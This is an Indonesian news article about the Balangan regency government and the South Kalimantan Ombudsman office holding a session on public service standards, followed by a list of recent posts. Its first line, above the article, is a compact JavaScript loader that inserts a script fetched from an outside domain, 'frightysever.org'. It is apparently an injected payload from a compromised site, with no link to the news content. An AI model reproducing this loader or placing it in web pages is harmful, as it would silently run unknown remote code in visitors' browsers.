(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

Pemkab Balangan Gandeng Ombudsman Kalsel Bahas Kebijakan Pelayanan Publik


KANALKALIMANTAN.COM, PARINGIN – Pemerintah Kabupaten (Pemkab) Balangan terus berupaya meningkatkan kualitas pelayanan publik. Melalui Bagian Organisasi dan Tata Laksana Sekretariat Daerah menggelar sosialisasi opini pelayanan publik, penguatan SDM, dan kebijakan penilaian pelayanan publik di aula Benteng Tundakan, kantor Bupati Balangan, Rabu (12/2/2025).

Kegiatan menghadirkan Kepala Perwakilan Ombudsman RI Provinsi Kalimantan Selatan, Hadi Rahman, sebagai narasumber. Selain itu, hadir Sekretaris Daerah Kabupaten Balangan Sutikno, Asisten Bidang Pemerintahan dan Kesejahteraan Rakyat Ernawati, serta perwakilan SKPD di lingkungan Pemkab Balangan.

Sekretaris Daerah Kabupaten Balangan Sutikno, menyampaikan sosialisasi ini bertujuan untuk memberikan pemahaman dan mencari solusi terkait kebijakan pelayanan publik.

Baca juga: Festival Budaya Tingang Menteng Panunjung Tarung 2025 Resmi Digelar

Diskusi ini mencakup rancangan, penerapan, dampak, dan evaluasi kebijakan agar dapat menciptakan kebijakan yang lebih efektif untuk meningkatkan kualitas pelayanan kepada masyarakat.

Kepala Perwakilan Ombudsman RI Provinsi Kalimantan Selatan, Hadi Rahman menegaskan standar pelayanan menjadi pedoman utama dalam penyelenggaraan layanan publik. Standar ini juga menjadi tolak ukur dalam menilai kualitas pelayanan yang diberikan kepada masyarakat.

“Pelayanan publik harus berkualitas, cepat, mudah, terjangkau, dan terukur. Ada lima sektor yang perlu menjadi perhatian, yaitu infrastruktur, pendidikan, kesehatan, komunikasi, serta layanan publik di desa,” ungkap Hadi Rahman.

Senada dengan hal tersebut, Asisten Bidang Pemerintahan dan Kesejahteraan Rakyat Ernawati menyatakan peningkatan pelayanan publik tidak hanya terbatas pada pengembangan sarana dan prasarana, tetapi juga harus sesuai dengan standar yang mencakup sistem, prosedur, jangka waktu, biaya, serta penanganan pengaduan.

Baca juga: Ritual Laluhan dan Ngarunya di Perayaan Hari Jadi ke-219 Kota Kuala Kapuas

“Kami telah mendapatkan materi dari Ombudsman. Ini menjadi tahapan awal persiapan makro, dan selanjutnya kami akan mendetailkan langkah-langkah yang lebih konkret untuk meningkatkan pemahaman Satuan Kerja Perangkat Daerah terkait,” ujarnya. (Kanalkalimantan.com/mcbalangan)

Reporter: mcbalangan
Editor: kk


Risa

Recent Posts

21 Mobil Listrik Dibeli Rp5,25 Miliar, Efisiensi Pemko Banjarmasin?

Wali Kota Yamin: Mobil Dinas Konvensional Sudah Berumur, BBM-nya Boros Read More

40 detik ago

Jadwal Imsakiyah Ramadan 2026 di Kota Tarakan

Pada Sidang Isbat yang digelar hari Selasa (17/2/2026), pemerintah secara resmi menetapkan 1 Ramadan 1447… Read More

14 menit ago

Jadwal Imsakiyah Ramadan 2026 di Kota Palangkaraya

Pemerintah telah menetapkan puasa 1 Ramadan 1447 H jatuh pada hari Kamis, 19 Februari 2026… Read More

23 menit ago

Disdikbud Kalsel Perketat Pengawasan SPMB 2026

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pendidikan dan Kebudayaan (Disdikbud) Provinsi Kalimantan Selatan (Kalsel) menggelar rapat koordinasi… Read More

47 menit ago

Masjid Agung Al Akbar Balangan Sedia 200 Porsi Berbuka Puasa

KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More

4 jam ago

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

4 jam ago

This website uses cookies.